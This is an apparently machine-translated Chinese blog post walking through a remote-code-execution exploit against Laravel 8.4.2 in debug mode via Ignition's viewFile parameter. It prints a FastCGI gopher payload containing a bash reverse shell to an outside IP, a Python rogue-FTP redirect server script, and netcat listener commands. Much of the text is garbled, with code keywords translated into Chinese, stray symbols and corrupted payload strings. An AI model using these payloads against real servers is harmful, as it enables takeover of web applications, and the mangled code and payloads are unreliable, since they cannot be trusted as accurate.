Code前端首页关于Code前端联系我们

LARAVEL

terry 2年前 (2023-09-28) 阅读数 68 #Web安全

如何利用LARAVEL

我们先点开主题,看看laravel下如何去除这个漏洞。 LARAVEL = V8.4.2 调试模式下的RCE分析将请求体中的viewFile参数值替换为负数的ftp地址即可得到rce可以使用ftp服务吗? 当然不是这个ftp服务需要限定:客户端第一次连接时返回payload,第二次连接时将客户端的连接引导到另一个ip:端口那为什么我们只要具备上述的条件就可以了呢?有条件的ftp服务可以完成攻击吗? 现在我们需要看一下laravel的代码逻辑:

在laravel版本6之后,调试模式使用配置元素来改进堆栈配置文件。另外,ignition还带有“点击修复”功能,例如:如果我们在模板中使用了未知的变量,如果一直按“使变量可选”,就会出现以下情况LARAVEL = V8.4.2 调试模式下的RCE分析。一键修复bug

点火是如何做到这一点的?对于函数,获取包并查看: LARAVEL = V8.4.2 调试模式下的RCE分析 这包括重点关注 viewFile 参数,该参数在代码中的处理方式如下: $contents = file_get_contents( $parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents)这里的读写给我们带来了利用的机会~接下来我们将使用fpm服务我们这里以为例展示如何使用使用上面看起来安全的代码来实现rce

创建有效负载

使用gopherus创建攻击fastcgi的有效负载

LARAVEL = V8.4.2 调试模式下的RCE分析输入箭头1上目标服务器之一的PHP文件的实际路径箭头在 2 上输入要在目标上执行的命令以获取项目:gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00% 01%01%12%02%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PRO托科尔HTTP /1.1%0E%03CONTENT_LENGTH%1044HP_03CONTENT_LENGTHME104 llow_url_include%20%3D% 20By %0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A //输入%0F%24SCRIPT_FILENAME/Library/WebServer/Documents/跨站脚本.php %0D%01DOCUMENT%00/%00 00 %01%00%00%00%00%01%05%00%01%00h%04%00%3C%3Fphp%20system%28%27bash%20-c %20 %22sh%20-i%20%3E%26%20/dev/tcp/172.16.230.146/7777%200%3E%261%22%27%29%3Bdie%28%27-----纳塔翁'i -SpyD3r-----%0A % 27%29%3B%3F%3E%00%00%00%00我们只需要以下内容,%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%12%02%00%0F %10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH104%0E%04REQUEST_UETHODPHPOST%2url%2 0On%0Adisable_functions%20%3D%20% 0Aauto_prepend_file%20%20 3D %20php%3A//输入%0F%24SCRIPT_FILENAME/Library/WebServer/Documents/xss.php%0D%01DOCUMENT_ROOT/%00%00%01%04%00%01%00%00%00%00% 01% 05%00%01%00h%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/172.16。 230.146/7777%200%3E%261%22%27%29%3Bdie%28%27-----SpyD3r-----%0A%27%29%3B%3F%3E%00 %00 %00%00用生成的payload替换下面ftp脚本中的payload

设置一个坏的ftp服务

编写一个脚本(一些零散的代码~?):# -*- 编码: utf-8 -*-
# @时间 : 2021/1/13 6:56 PM
# @作者 : tntaxin
# @文件 : ftp_redirect.py @Software:

import socket
from urllib.parse import unquote

#对gopherus生成的payload进行urldecode
payload = unquote("%00%01("%00%01 00 %00%00%01 %00%00%00%00%00%00%01%04%00%01%01%12%02%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.3A//输入%0F % 24SCRIPT_FILENAME/Library/WebServer/Documents/xss.php%0D%01DOCUMENT_ROOT/%00%00%01%04%00%01%00%00%00%00%01%05%00% 01%00h%04% 00%3C%3Fphp%20system%28%27bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/127.0.0.1/7777%200% 3E%261%22% 27 %29%3Bdie%28%27-----By-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00 ")
有效负载 = 有效负载.encode('utf-8')

主机 = '0.0.0.0'
端口 = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

# ftp被动模式下的被动端口,监听1234
sk2()socket。 sk2.bind((host, 1234))
sk2.listen()

#计数器,用于区分ftp连接数
count = 1‷le: n , address = sk. Accept()
conn.send(b"200 \n")
print(conn.recv(20)) # USER aaa\r\n 发送用户名
if count == 1 :
conn.send(b"220 就绪\n")
else:
conn.send(b"200 就绪\n")

print(conn.recv ( 20)) # TYPE I\r \n 客户端告诉服务器以什么格式发送数据,TYPE I 代表二进制,TYPE A 代表文本
if number == 1:
conn.send (b"215 \n")
else :
conn.send(b"200 \n")

print(conn.recv(20)) # SIZE /123\r\n 客户端正在请求文件 /123 大小
if count == 1:
conn.send(b"213 3 \n")
else:
conn.send(b"300 \n") ♸ .recv(20)) # EPSV\r\ n'
conn.send(b"200 \n")

print(conn.recv(20)) # PASV\r\n 客户端告诉服务器进入被动通信模式
if number == 1:
conn.send(b"227 127,0,0,1,4,210\n") # 服务器告诉客户端应该接收什么ip:port 数据、IP和端口都用逗号分隔。 port的计算规则为:4*256+210=1234
else:
conn.send(b"227 127,0,0,1,35,40\n") # 端口计算规则:35*256+40=9000

print(conn.recv(20)) # 初始连接 命令RETR /123\r\n 会收到,第二个连接会收到 STOR /123\r\n
if number == 1:
conn.send(b"125 \n") # 告诉客户端但可以启动数据链路
# 创建一个新的套接字并将我们的东西返回到服务器
print("建立连接!")
conn2, address2 = sk2.accept()
康涅狄格州2。 send(load)
conn2.close()
print("停止!")
else:
conn.send(b"150 \n")(conn print 20 ))
exit()

# 第一次连接是下载文件,需要告诉客户端下载完成了
if number == 1:
conn.send(b "226 \ n ")
conn.close()
number += 1

运行上面的脚本,就会启动恶意ftp服务这个脚本的作用很简单,就是当客户端第一次时连接中,返回我们准备好的项目客户端第二次连接时,客户端连接返回到127.0.0.1:9000,这是php-fpm服务的端口 ps: 其中status ftp服务器返回的代码更重要。如果状态码不正确,则连接无法成功,但这些代码并不是很严格。
提交文章参考:
https://blog.csdn。 net/qq981378640/article/details/51254177使用此脚本需要更改ip:port

创建本地测试环境

如果有php组件,-fpm php -fpm direct

我这里使用的是vulhub的fpm docker镜像

LARAVEL = V8.4.2 调试模式下的RCE分析

在端口本地监听接收reverseshell

nc -l 7777

复制‸php -a 输入php交互环境:然后运行 ​​$a = file_get_contents("ftp://aaa@172.16.230.146:23/123");s_file❀s_" 各 ) 0.146:23 / 123英寸, $a);

这个ftp地址就是我前面提到的坏ftp地址LARAVEL = V8.4.2 调试模式下的RCE分析file_put_contents第二次会报错,不过你不用担心,因为我们的shell已经拿到了LARAVEL = V8.4.2 调试模式下的RCE分析

其他
漏洞影响:nignition

版权声明

本文仅代表作者观点,不代表Code前端网立场。
本文系作者Code前端网发表,如需转载,请注明页面地址。

热门